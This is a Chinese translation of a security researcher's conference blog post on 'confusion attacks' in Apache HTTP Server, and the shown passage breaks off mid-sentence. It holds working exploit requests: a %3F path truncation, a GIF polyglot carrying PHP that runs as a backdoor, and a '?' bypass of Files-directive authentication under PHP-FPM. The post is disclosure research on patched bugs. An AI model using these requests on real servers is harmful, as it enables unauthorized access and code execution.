混淆攻击:利用Apache HTTP Server中的隐藏语义歧义

本文深入探讨Apache HTTP Server的架构问题,揭示其内部技术债务,包括三种混淆攻击类型、九个新漏洞、二十种利用技术及三十多个案例分析,涉及访问控制绕过、文件系统逃逸和XSS到RCE转换等。

[EN] Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!

Orange Tsai (@orange_8361) | 繁體中文版本 | English Version

大家好!这是我在Black Hat USA 2024上展示的关于Apache HTTP Server的研究。此外,这项研究也将在HITCON和OrangeCon上展示。如果你有兴趣预览,可以查看幻灯片: Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!

同时,我要感谢Akamai的友好联系!他们在这项研究发布后立即发布了缓解措施(详情可在Akamai的博客中找到)。

TL;DR

本文探讨Apache HTTP Server的架构问题,突出Httpd内的多个技术债务,包括3种混淆攻击类型、9个新漏洞、20种利用技术和超过30个案例分析。内容包括但不限于:

  • 如何用单个?绕过Httpd的内置访问控制和认证。
  • 不安全的RewriteRules如何逃逸Web Root并访问整个文件系统。
  • 如何利用1996年的一段代码将XSS转换为RCE。

大纲

  • 故事之前
  • 故事如何开始?
  • 为什么Apache HTTP Server有坏味道?
  • 全新攻击——混淆攻击
    1. 文件名混淆
      • 原始1-1. 截断
        • 1-1-1. 路径截断
        • 1-1-2. 误导RewriteFlag分配
      • 原始1-2. ACL绕过
    2. DocumentRoot混淆
      • 原始2-1. 服务器端源代码泄露
        • 2-1-1. 泄露CGI源代码
        • 2-1-2. 泄露PHP源代码
      • 原始2-2. 本地小工具操纵!
        • 2-2-1. 本地小工具到信息泄露
        • 2-2-2. 本地小工具到XSS
        • 2-2-3. 本地小工具到LFI
        • 2-2-4. 本地小工具到SSRF
        • 2-2-5. 本地小工具到RCE
      • 原始2-3. 从本地小工具越狱
        • 2-3-1. 从本地小工具越狱
        • 2-3-2. 越狱本地小工具到Redmine RCE
    3. 处理器混淆
      • 原始3-1. 覆盖处理器
        • 3-1-1. 覆盖处理器以泄露PHP源代码
        • 3-1-2. 覆盖处理器到██████ ███████ ██████
      • 原始3-2. 调用任意处理器
        • 3-2-1. 任意处理器到信息泄露
        • 3-2-2. 任意处理器到误解脚本
        • 3-2-2. 任意处理器到完整SSRF
        • 3-2-3. 任意处理器到访问本地Unix域套接字
        • 3-2-4. 任意处理器到RCE
    4. 其他漏洞
      • CVE-2024-38472 - 基于Windows UNC的SSRF
        • 通过HTTP请求解析器触发
        • 通过Type-Map触发
      • CVE-2024-39573 - 通过完全控制RewriteRule前缀的SSRF
  • 未来工作
  • 结论

故事之前

这部分只是一些个人唠叨。如果你只对技术细节感兴趣,直接跳到——故事如何开始?

作为一名研究人员,或许最大的快乐是看到你的工作被同行认可和理解。因此,在完成一项有成果的重要研究后,自然希望世界看到它——这就是为什么我多次在Black Hat USA和DEFCON上展示。如你所知,自2022年以来,我无法获得有效的旅行授权进入美国(对于台湾,免签证计划下的旅行授权通常可以在几分钟到几小时内在线获得),导致我错过了2022年Black Hat USA的现场演讲。甚至2023年独自前往马丘比丘和复活节岛的旅行也无法通过美国中转 :(

为了解决这种情况,我今年1月开始准备B1/B2签证,写各种文件,在大使馆面试,无休止地等待。这并不有趣。但为了让我的工作被看到,我仍然花了很多时间寻找所有可能性,甚至直到会议前三周,还不清楚我的演讲是否会被取消(BH只接受现场演讲,但感谢RB,最终可以以预录制形式展示)。所以,你看到的一切,包括幻灯片、视频和这个博客,都是在几十天内完成的。😖

作为一名问心无愧的纯粹研究人员,我对漏洞的态度一直是——应该直接报告给供应商并修复。写这些文字不是为了任何特别原因,只是为了记录一些无奈的感觉、今年的努力,并感谢今年帮助过我的人,谢谢大家 :)

故事如何开始?

大约今年初,我开始思考下一个研究目标。如你所知,我总是挑战能影响整个互联网的大目标,所以我开始搜索一些复杂主题或有趣的开源项目,如Nginx、PHP,甚至深入研究RFC以加强我对协议细节的理解。

虽然大多数尝试以失败告终(尽管少数可能成为下一篇博客文章的主题😉),阅读这些代码让我想起了去年对Apache HTTP Server的快速审查!虽然由于工作安排没有深入代码,但当时我已经“嗅到”其编码风格有些不对劲。

所以今年,我决定继续那项研究,将“坏味道”从难以形容的“感觉”转化为对Apache HTTP Server的具体研究!

为什么Apache HTTP Server有坏味道?

首先,Apache HTTP Server是一个由“模块”构建的世界,如其官方文档关于模块化所自豪声明的:

Apache httpd通过其模块化设计一直适应各种环境。[…] Apache HTTP Server 2.0将这种模块化设计扩展到Web服务器的最基本功能。

整个Httpd服务依赖于数百个小模块协同处理客户端的HTTP请求。在官方文档列出的136个模块中,约一半默认启用或网站频繁使用!

更令人惊讶的是,这些模块在处理客户端HTTP请求时还维护一个巨大的request_rec结构。这个结构包括处理HTTP所涉及的所有元素,其详细定义可在include/httpd.h中找到。所有模块都依赖这个巨大结构进行同步、通信和数据交换。当HTTP请求经过几个阶段时,模块像接球游戏中的玩家一样,将结构从一个传递到另一个。每个模块甚至有能力根据自己的偏好修改此结构中的任何值!

从软件工程的角度来看,这种协作并不新鲜。每个模块只专注于自己的任务。只要每个人都完成工作,客户端就能享受Httpd提供的服务。这种方法在少数模块中可能工作良好,但当我们扩展到数百个模块协作时——它们真的能良好协作吗?🤔

我们的起点很简单——模块不完全理解彼此,但需要合作。每个模块可能由不同的人实现,代码经过多年的迭代、重构和修改。他们真的还知道自己在做什么吗?即使他们理解自己的职责,其他模块的实现细节呢?没有任何良好的开发标准或指南,肯定有几个我们可以利用的间隙!

全新攻击——混淆攻击

基于这些观察,我们开始关注这些模块之间的“关系”和“交互”。如果一个模块意外修改了它认为不重要但对另一个模块至关重要的结构字段,可能会影响后者的决策。此外,如果字段的定义或语义不够精确,导致模块对同一字段的理解存在歧义,也可能带来潜在安全风险!

从这个起点出发,我们开发了三种不同类型的攻击,因为这些攻击或多或少与结构字段的误用有关。因此,我们将此攻击面命名为“混淆攻击”,以下是我们开发的攻击:

  • 文件名混淆
  • DocumentRoot混淆
  • 处理器混淆

通过这些攻击,我们识别了9个不同的漏洞:

  • CVE-2024-38472 - Apache HTTP Server on Windows UNC SSRF
  • CVE-2024-39573 - Apache HTTP Server代理编码问题
  • CVE-2024-38477 - Apache HTTP Server: 通过恶意请求导致mod_proxy崩溃造成拒绝服务
  • CVE-2024-38476 - Apache HTTP Server可能使用可利用/恶意后端应用程序输出通过内部重定向运行本地处理器
  • CVE-2024-38475 - Apache HTTP Server mod_rewrite弱点当替换的第一段匹配文件系统路径时
  • CVE-2024-38474 - Apache HTTP Server弱点与反向引用中的编码问号
  • CVE-2024-38473 - Apache HTTP Server代理编码问题
  • CVE-2023-38709 - Apache HTTP Server: HTTP响应拆分
  • CVE-2024-?????? - [已编辑]

这些漏洞通过官方安全邮件列表报告,并由Apache HTTP Server在2024-07-01发布的2.4.60更新中解决。

由于这是Httpd架构设计及其内部机制的新攻击面,自然,第一个深入研究的人能找到最多漏洞。因此,我目前拥有最多的Apache HTTP Server CVE😉。它导致许多更新不向后兼容。因此,对于许多长期运行的生产服务器来说,修补这些问题并不容易。如果管理员不加考虑地更新,可能会破坏现有配置,导致服务停机。😨

现在,是时候开始我们的混淆攻击了!你准备好了吗?

🔥 1. 文件名混淆

第一个问题源于filename字段的混淆。字面上,r->filename应表示文件系统路径。然而,在Apache HTTP Server中,一些模块将其视为URL。如果在HTTP上下文中,大多数模块将r->filename视为文件系统路径,但其他一些模块将其视为URL,这种不一致可能导致安全问题!

⚔️ 原始1-1. 截断

那么,哪些模块将r->filename视为URL?第一个是mod_rewrite,它允许系统管理员使用RewriteRule指令轻松将路径模式重写为指定的替换目标:

1
RewriteRule Pattern Substitution [flags]

目标可以是文件系统路径或URL。这个功能可能为了用户体验而存在。然而,这种“便利”也引入了风险。例如,在重写目标路径时,mod_rewrite强制将所有结果视为URL,在问号%3F后截断路径。这导致以下两种利用。

路径: modules/mappers/mod_rewrite.c#L4141

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/*
 * Apply a single RewriteRule
 */
static int apply_rewrite_rule(rewriterule_entry *p, rewrite_ctx *ctx)
{
    ap_regmatch_t regmatch[AP_MAX_REG_MATCH];
    apr_array_header_t *rewriteconds;
    rewritecond_entry *conds;
    
    // [...]
    
    for (i = 0; i < rewriteconds->nelts; ++i) {
        rewritecond_entry *c = &conds[i];
        rc = apply_rewrite_cond(c, ctx);
        
        // [...] do the remaining stuff
        
    }
    
    /* Now adjust API's knowledge about r->filename and r->args */
    r->filename = newuri;

    if (ctx->perdir && (p->flags & RULEFLAG_DISCARDPATHINFO)) {
        r->path_info = NULL;
    }

    splitout_queryargs(r, p->flags);         // <------- [!!!] Truncate the `r->filename`
    
    // [...]
}

✔️ 1-1-1. 路径截断

第一个原始利用此截断文件系统路径。想象以下RewriteRule:

1
2
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

服务器将根据用户名打开相应的配置文件,例如:

1
2
$ curl http://server/user/orange
 # the output of file `/var/user/orange/profile.yml`

由于mod_rewrite强制将所有重写结果视为URL,即使目标是文件系统路径,它也可以在问号处截断,切断尾随的/profile.yml,如:

1
2
$ curl http://server/user/orange%2Fsecret.yml%3F
 # the output of file `/var/user/orange/secret.yml`

这是我们的第一个原始——路径截断。让我们暂时暂停对此原始的探索。虽然现在可能看起来像一个小缺陷,但请记住它——它将在以后的攻击中重新出现,逐渐撕开这个看似小的突破口!😜

✔️ 1-1-2. 误导RewriteFlag分配

截断原始的第二种利用是误导RewriteFlags的分配。想象系统管理员通过以下RewriteRule管理网站及其对应的处理器:

1
2
RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

如果请求以.php扩展名结尾,它为mod_php添加相应的处理器(这也可以是环境变量或Content-Type;你可以参考官方RewriteRule Flags手册获取详情)。

由于mod_rewrite的截断行为发生在正则表达式匹配之后,攻击者可以使用原始规则通过?将标志应用于不应应用的请求。例如,攻击者可以上传嵌入恶意PHP代码的GIF图像,并通过以下精心制作的请求作为后门执行:

1
2
3
4
5
$ curl http://server/upload/1.gif
 # GIF89a <?=`id`;>

$ curl http://server/upload/1.gif%3fooo.php
 # GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

⚔️ 原始1-2. ACL绕过

文件名混淆的第二个原始发生在mod_proxy中。与之前在所有情况下将目标视为URL的原始不同,这次认证和访问控制绕过是由模块之间r->filename语义不一致引起的!

mod_proxy将r->filename视为URL实际上是有道理的,因为代理的主要目的是将请求“重定向”到其他URL。然而,当不同组件交互时会出现安全问题——尤其是当大多数模块默认将r->filename视为文件系统路径时,想象你使用基于文件的访问控制,现在mod_proxy将r->filename视为URL;这种不一致可能导致访问控制或认证绕过!

一个经典例子是当系统管理员使用Files指令限制单个文件,如admin.php:

1
2
3
4
5
6
<Files "admin.php">
    AuthType Basic 
    AuthName "Admin Panel"
    AuthUserFile "/etc/apache2/.htpasswd"
    Require valid-user
</Files>

这种配置在默认PHP-FPM安装下可以直接绕过!值得一提的是,这是Apache HTTP Server中最常见的认证配置方式之一!假设你访问这样的URL:

1
http://server/admin.php%3Fooo.php

首先,在此URL的HTTP生命周期中,认证模块将请求的文件名与受保护文件进行比较。此时,r->filename字段是admin.php?ooo.php,显然与admin.php不匹配,因此模块将假设当前请求不需要认证。然而,PHP-FPM配置设置为使用SetHandler指令将以.php结尾的请求转发到mod_proxy:

路径: /etc/apache2/mods-enabled/php8.2-fpm.conf

1
2
3
4
5
# Using (?:pattern) instead of (pattern) is a small optimization that
# avoid capturing the matching pattern (as $1) which isn't used here
<FilesMatch ".+\.ph(?:ar|p|tml)$">
    SetHandler "proxy:unix:/run/php/php8.2-fpm.sock|fcgi://localhost"
</FilesMatch>

mod_proxy将将r->filename重写为以下URL,并调用子模块mod_proxy_fcgi处理后续的FastCGI协议:

1
proxy:fcgi://127.0.0.1:9000/var/www/html/admin.php?ooo.php

由于后端以奇怪格式接收文件名,PHP-FPM必须特殊处理此行为。此处理的逻辑如下:

路径: sapi/fpm/fpm/fpm_main.c#L1044

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#define APACHE_PROXY_FCGI_PREFIX "proxy:fcgi://"
#define APACHE_PROXY_BALANCER_PREFIX "proxy:balancer://"

if (env_script_filename &&
    strncasecmp(env_script_filename, APACHE_PROXY_FCGI_PREFIX, sizeof(APACHE_PROXY_FCGI_PREFIX) - 1) == 0) {
    /* advance to first character of hostname */
    char *p = env_script_filename + (sizeof(APACHE_PROXY_FCGI_PREFIX) - 1);
    while (*p != '\0' && *p != '/') {
        p++;    /* move past hostname and port */
    }
    if (*p != '\0') {
        /* Copy path portion in place to avoid memory leak.  Note
         * that this also affects what script_path_translated points
         * to. */
        memmove(env_script_filename, p, strlen(p) + 1);
        apache_was_here = 1;
    }
    /* ignore query string if sent by Apache (RewriteRule) */
    p = strchr(env_script_filename, '?');
    if (p) {
        *p =0;
    }
}

如你所见,PHP-FPM首先规范化文件名,并在问号?处分割以提取实际文件路径执行(即/var/www/html/admin.php)。这导致绕过,基本上,所有基于Files指令对单个PHP文件的认证或访问控制在与PHP-FPM一起运行时都处于风险中!😮

许多潜在风险配置可以在GitHub上找到,例如phpinfo()仅限内部网络访问:

1
2
3
4
5
6
7
8
# protect phpinfo, only allow localhost and local network access
<Files php-info.php>
    # LOCAL ACCESS ONLY
    # Require local 

    # LOCAL AND LAN ACCESS
    Require ip 10 172 192.168
</Files>

Adminer被.htaccess阻止:

1
2
3
4
<Files adminer.php>
    Order Allow,Deny
    Deny from all
</Files>

受保护的xmlrpc.php:

1
2
3
4
<Files xmlrpc.php>
    Order Allow,Deny
    Deny from all
</Files>

CLI工具防止直接访问:

1
2
3
<Files "cron.php">
    Deny from all
</Files>

通过认证模块和mod_proxy对r->filename字段解释的不一致,所有上述示例都可以仅用?成功绕过。

🔥 2. DocumentRoot混淆

我们要深入的下一个攻击是基于DocumentRoot的混淆!让我们考虑一下这个Httpd配置:

1
2
DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

当你访问URL http://server/html/about时,你认为Httpd实际打开哪个文件?是根目录下的/about.html,还是DocumentRoot中的/var/www/html/about.html?

答案是——它访问两个路径。是的,

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计